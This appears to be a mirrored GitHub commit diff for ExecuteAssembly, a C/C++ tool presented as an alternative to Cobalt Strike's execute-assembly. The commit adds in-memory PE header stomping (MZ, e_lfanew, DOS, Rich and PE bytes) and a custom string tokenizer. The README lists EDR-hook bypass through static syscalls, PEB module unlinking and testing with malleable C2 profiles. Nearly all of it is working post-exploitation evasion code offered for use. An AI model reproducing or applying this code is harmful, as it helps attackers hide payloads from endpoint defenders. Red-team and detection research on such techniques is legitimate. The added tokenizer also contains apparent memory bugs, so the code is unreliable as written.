mirror of
https://github.com/med0x2e/ExecuteAssembly
synced 2026-06-08 15:50:53 +00:00
PE header stomping (stomping 'e_lfanew/PE/Rich Text' in addition to MZ and DOS) + Multiple bugs fixed + updates to make the it compatible with common CS malleable profile options + cleanup
This commit is contained in:
@@ -169,7 +169,11 @@ BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
|
||||
data = data + _lenbinLength + 1;
|
||||
LPSTR currentArg;
|
||||
LPSTR nextArg;
|
||||
currentArg = strtok_s(data, " ", &nextArg);
|
||||
//currentArg = strtok_s(data, " ", &nextArg);
|
||||
LPSTR _del = " ";
|
||||
nextArg = (LPSTR)malloc(_binLength);
|
||||
currentArg = _strtok(data, _del, nextArg, _binLength);
|
||||
free(nextArg);
|
||||
LPSTR b64Assembly = trim(currentArg);
|
||||
|
||||
//retrieving arguments
|
||||
@@ -213,6 +217,7 @@ BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
|
||||
free(assemblyBytes);
|
||||
free(_decompressedData);
|
||||
delete[] lpReservedW;
|
||||
free(currentArg);
|
||||
|
||||
}
|
||||
else {
|
||||
|
||||
@@ -181,4 +181,34 @@ void removeChar(LPSTR str, uint8_t toRemove) {
|
||||
if (*dst != toRemove) dst++;
|
||||
}
|
||||
*dst = '\0';
|
||||
}
|
||||
|
||||
LPSTR _strtok(LPSTR data, const LPSTR delim, LPSTR pNext, size_t dLen)
|
||||
{
|
||||
static LPSTR sTok = (char*)malloc(dLen);
|
||||
register LPSTR cpy = (char*)pNext;
|
||||
memset(sTok, 0, sizeof(sTok));
|
||||
|
||||
if (data != NULL)
|
||||
strcpy(cpy, data);
|
||||
|
||||
if (cpy == NULL)
|
||||
return NULL;
|
||||
|
||||
int i = 0;
|
||||
|
||||
for (i = 0; i < dLen; i++)
|
||||
{
|
||||
if (cpy[i] == delim[0]) break;
|
||||
if (cpy[i] == delim[1])
|
||||
{
|
||||
cpy = NULL;
|
||||
break;
|
||||
}
|
||||
sTok[i] = cpy[i];
|
||||
}
|
||||
|
||||
if (cpy != NULL) strcpy(cpy, &cpy[i + 1]);
|
||||
|
||||
return sTok;
|
||||
}
|
||||
@@ -16,5 +16,6 @@ extern LPSTR xorDecrypt(LPSTR data, uint8_t key, size_t _binLength);
|
||||
extern LPSTR trim(LPSTR str);
|
||||
extern LPSTR strmbtok(LPSTR input, LPSTR delimit, LPSTR openblock, LPSTR closeblock);
|
||||
extern void removeChar(LPSTR str, const uint8_t toRemove);
|
||||
extern LPSTR _strtok(LPSTR data, const LPSTR delim, LPSTR pNext, size_t dLen);
|
||||
|
||||
#endif
|
||||
|
||||
@@ -133,7 +133,7 @@ namespace PEModuleHelper {
|
||||
|
||||
void StompPEHeaders(HANDLE hProcess) {
|
||||
|
||||
//PE DOS HEADER SIG
|
||||
//PE DOS HEADER
|
||||
LPCSTR _pattern = "\x4d\x5a\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xff\xff\x00\x00\xb8\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf8\x00\x00\x00\x0e\x1f\xba\x0e\x00\xb4\x09\xcd\x21\xb8\x01\x4c\xcd\x21\x54\x68\x69\x73\x20\x70\x72\x6f\x67\x72\x61\x6d\x20\x63\x61\x6e\x6e\x6f\x74\x20\x62\x65\x20\x72\x75\x6e\x20\x69\x6e\x20\x44\x4f\x53\x20\x6d\x6f\x64\x65";
|
||||
|
||||
printf("[+]: Obtaining a handle of the current process: %d\n", (INT_PTR)hProcess);
|
||||
@@ -163,7 +163,6 @@ namespace PEModuleHelper {
|
||||
void StompPEDOSHeader(LPSTR ntheaderAddr)
|
||||
{
|
||||
|
||||
LPSTR olNtH = ntheaderAddr;
|
||||
LPVOID nthAddr = (LPVOID)ntheaderAddr;
|
||||
NTSTATUS status;
|
||||
SIZE_T page = 4096;
|
||||
@@ -177,17 +176,22 @@ namespace PEModuleHelper {
|
||||
return;
|
||||
}
|
||||
|
||||
//zeroing out 224 bytes of the PE DOS Header leads to crashing the loaded .net assembly, I'm only patching specific PE DOS HEADER signatured offsets and byte sequences as a workaround.
|
||||
SIZE_T Size = 2;
|
||||
|
||||
status = NtProtectVirtualMemory(NtGetCurrentProcess(), &nthAddr, &page, PAGE_READWRITE, &Protect);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
//printf("\t\t[!]: Error NtProtectVirtualMemory\n");
|
||||
return;
|
||||
}
|
||||
|
||||
RtlZeroMemory((PVOID)olNtH, Size);
|
||||
RtlZeroMemory((PVOID)(olNtH + Size + 75), Size + 37);
|
||||
//MZ
|
||||
RtlZeroMemory((PVOID)ntheaderAddr, 2);
|
||||
//e_lfanew
|
||||
RtlZeroMemory((PVOID)(ntheaderAddr+60), 4);
|
||||
//DOS
|
||||
RtlZeroMemory((PVOID)(ntheaderAddr+64), 66);
|
||||
//Rich
|
||||
RtlZeroMemory((PVOID)(ntheaderAddr + 256), 4);
|
||||
//PE
|
||||
RtlZeroMemory((PVOID)(ntheaderAddr + 288), 2);
|
||||
|
||||
status = NtProtectVirtualMemory(NtGetCurrentProcess(), &nthAddr, &page, Protect, &Protect);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
|
||||
@@ -25,7 +25,7 @@ void Check(PBYTE base, AIterator buf_start, AIterator buf_end, BIterator pat_sta
|
||||
LPSTR* FindPattern(HANDLE hProcess, LPCSTR pattern, size_t* _len) {
|
||||
|
||||
MEMORY_BASIC_INFORMATION memInfo;
|
||||
ULONG returnedBytes = NULL;
|
||||
SIZE_T returnedBytes = NULL;
|
||||
|
||||
*(_len) = 0;
|
||||
|
||||
|
||||
@@ -50,8 +50,8 @@ EXTERN_C NTSTATUS NtQueryVirtualMemory(
|
||||
IN PVOID BaseAddress,
|
||||
IN MEMORY_INFORMATION_CLASS MemoryInformationClass,
|
||||
OUT PVOID MemoryInformation,
|
||||
IN ULONG_PTR MemoryInformationLength,
|
||||
OUT PULONG ReturnLength OPTIONAL);
|
||||
IN SIZE_T MemoryInformationLength,
|
||||
OUT PSIZE_T ReturnLength OPTIONAL);
|
||||
|
||||
EXTERN_C NTSTATUS NtOpenProcess(
|
||||
OUT PHANDLE ProcessHandle,
|
||||
|
||||
@@ -169,7 +169,11 @@ BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
|
||||
data = data + _lenbinLength + 1;
|
||||
LPSTR currentArg;
|
||||
LPSTR nextArg;
|
||||
currentArg = strtok_s(data, " ", &nextArg);
|
||||
//currentArg = strtok_s(data, " ", &nextArg);
|
||||
LPSTR _del = " ";
|
||||
nextArg = (LPSTR)malloc(_binLength);
|
||||
currentArg = _strtok(data, _del, nextArg, _binLength);
|
||||
free(nextArg);
|
||||
LPSTR b64Assembly = trim(currentArg);
|
||||
|
||||
//retrieving arguments
|
||||
@@ -213,6 +217,7 @@ BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
|
||||
free(assemblyBytes);
|
||||
free(_decompressedData);
|
||||
delete[] lpReservedW;
|
||||
free(currentArg);
|
||||
|
||||
}
|
||||
else {
|
||||
|
||||
@@ -181,4 +181,34 @@ void removeChar(LPSTR str, uint8_t toRemove) {
|
||||
if (*dst != toRemove) dst++;
|
||||
}
|
||||
*dst = '\0';
|
||||
}
|
||||
|
||||
LPSTR _strtok(LPSTR data, const LPSTR delim, LPSTR pNext, size_t dLen)
|
||||
{
|
||||
static LPSTR sTok = (char*)malloc(dLen);
|
||||
register LPSTR cpy = (char*)pNext;
|
||||
memset(sTok, 0, sizeof(sTok));
|
||||
|
||||
if (data != NULL)
|
||||
strcpy(cpy, data);
|
||||
|
||||
if (cpy == NULL)
|
||||
return NULL;
|
||||
|
||||
int i = 0;
|
||||
|
||||
for (i = 0; i < dLen; i++)
|
||||
{
|
||||
if (cpy[i] == delim[0]) break;
|
||||
if (cpy[i] == delim[1])
|
||||
{
|
||||
cpy = NULL;
|
||||
break;
|
||||
}
|
||||
sTok[i] = cpy[i];
|
||||
}
|
||||
|
||||
if (cpy != NULL) strcpy(cpy, &cpy[i + 1]);
|
||||
|
||||
return sTok;
|
||||
}
|
||||
@@ -16,5 +16,6 @@ extern LPSTR xorDecrypt(LPSTR data, uint8_t key, size_t _binLength);
|
||||
extern LPSTR trim(LPSTR str);
|
||||
extern LPSTR strmbtok(LPSTR input, LPSTR delimit, LPSTR openblock, LPSTR closeblock);
|
||||
extern void removeChar(LPSTR str, const uint8_t toRemove);
|
||||
extern LPSTR _strtok(LPSTR data, const LPSTR delim, LPSTR pNext, size_t dLen);
|
||||
|
||||
#endif
|
||||
|
||||
@@ -132,7 +132,7 @@ namespace PEModuleHelper {
|
||||
|
||||
void StompPEHeaders(HANDLE hProcess) {
|
||||
|
||||
//PE DOS HEADER SIG
|
||||
//PE DOS HEADER
|
||||
LPCSTR _pattern = "\x4d\x5a\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xff\xff\x00\x00\xb8\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf8\x00\x00\x00\x0e\x1f\xba\x0e\x00\xb4\x09\xcd\x21\xb8\x01\x4c\xcd\x21\x54\x68\x69\x73\x20\x70\x72\x6f\x67\x72\x61\x6d\x20\x63\x61\x6e\x6e\x6f\x74\x20\x62\x65\x20\x72\x75\x6e\x20\x69\x6e\x20\x44\x4f\x53\x20\x6d\x6f\x64\x65";
|
||||
|
||||
printf("[+]: Obtaining a handle of the current process: %d\n", (INT_PTR)hProcess);
|
||||
@@ -162,10 +162,11 @@ namespace PEModuleHelper {
|
||||
void StompPEDOSHeader(LPSTR ntheaderAddr)
|
||||
{
|
||||
_PFNVirtualProtect VirtualProtect;
|
||||
_PFNWriteProcessMemory WriteProcessMemory;
|
||||
ADDR kernel32_base = findModuleBase(_kernel32dll);
|
||||
|
||||
VirtualProtect = (_PFNVirtualProtect)findExportAddr(kernel32_base, _VirtualProtect);
|
||||
|
||||
WriteProcessMemory = (_PFNWriteProcessMemory)findExportAddr(kernel32_base, _WriteProcessMemory);
|
||||
|
||||
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)ntheaderAddr;
|
||||
|
||||
@@ -175,13 +176,27 @@ namespace PEModuleHelper {
|
||||
return;
|
||||
}
|
||||
|
||||
DWORD page = 4096;
|
||||
DWORD Protect;
|
||||
//zeroing out 224 bytes of the PE DOS Header leads to crashing the loaded .net assembly, I'm only patching specific PE DOS HEADER offsets/signatured byte sequences as a workaround.
|
||||
SIZE_T Size = 2;
|
||||
VirtualProtect((PVOID)ntheaderAddr, Size, PAGE_READWRITE, &Protect);
|
||||
RtlZeroMemory((PVOID)ntheaderAddr, Size);
|
||||
RtlZeroMemory((PVOID)(ntheaderAddr + Size + 75), Size + 37);
|
||||
VirtualProtect((PVOID)ntheaderAddr, Size, Protect, &Protect);
|
||||
|
||||
VirtualProtect((PVOID)ntheaderAddr, page, PAGE_READWRITE, &Protect);
|
||||
char* _randomA = "Random String Here All the time.Random String Here All the time.00";
|
||||
char* _randomB = "00";
|
||||
char* _randomC = "Poor";
|
||||
|
||||
//RtlZeroMemory,memset crashes the binary, only WPM seem to be working for now.
|
||||
//MZ
|
||||
WriteProcessMemory(GetCurrentProcess(), ntheaderAddr, _randomB, 2, NULL);
|
||||
//e_lfanew
|
||||
//WriteProcessMemory(GetCurrentProcess(), (ntheaderAddr+60), _randomC, 4, NULL); patching e_lfanew crashes the .net assembly
|
||||
//DOS
|
||||
WriteProcessMemory(GetCurrentProcess(), (ntheaderAddr + 64), _randomA, 66, NULL);
|
||||
//Rich
|
||||
WriteProcessMemory(GetCurrentProcess(), (ntheaderAddr + 256), _randomC, 4, NULL);
|
||||
//PE
|
||||
WriteProcessMemory(GetCurrentProcess(), (ntheaderAddr + 288), _randomB, 2, NULL);
|
||||
|
||||
VirtualProtect((PVOID)ntheaderAddr, page, Protect, &Protect);
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -3,7 +3,7 @@ ExecuteAssembly is an alternative of CS execute-assembly, built with C/C++ and i
|
||||
|
||||
## TLDR (Features):
|
||||
- CLR related modules unlinking from PEB data structures. (use MS "ListDLLs" utility instead of PH for confirmation)
|
||||
- .NET Aseembly and Reflective DLL PE DOS headers stomping (specific bytes/offsets).
|
||||
- .NET Aseembly and Reflective DLL headers stomping (MZ bytes, e_lfanew, DOS Header, Rich Text, PE Header).
|
||||
- Use of static hardcoded syscalls for bypassing EDR Hooks. (x64 support only for now, from WinXP to Win10 19042)
|
||||
- CLR "AppDomain/AppDomainManager" enumeration and re-use (ICLRMetaHost->EnumerateLoadedRuntimes), just set the spawnto/host process to a known Windows .NET process.
|
||||
- Dynamic Resolution of WIN32 APIs (PEB) using APIs corresponding hash (SuperFastHash)
|
||||
@@ -70,8 +70,13 @@ Was created and tested mainly on cobalt strike, however it can be used with othe
|
||||
* `B64_ENCODED_COMPRESSED_PAYLOAD`: Gzip compressed and base64 encoded .NET assembly.
|
||||
* `[SPACE SEPARATED ARGUMENTS]`: .NET assembly arguments
|
||||
|
||||
## Testing Notes:
|
||||
* Tested with cobalt strike 4.x using no malleable profiles.
|
||||
* Tested with cobalt strike 4.x using the following malleable profile(multiple memory evasion options set (userwx, startrwx ..etc));
|
||||
* https://github.com/threatexpress/malleable-c2/blob/master/jquery-c2.4.0.profile
|
||||
|
||||
|
||||
## TODO:
|
||||
- Testing via malleable profiles with different options set. (userwx, startrwx ..etc.)
|
||||
- An alternative of RFLL, BOF + Named Pipes may be (not sure about long-duration running tasks)
|
||||
- x86 support for static syscalls.
|
||||
- Bug fixing and cleanup of any dangling pointers or mem-leaks i missed :p
|
||||
|
||||
Reference in New Issue
Block a user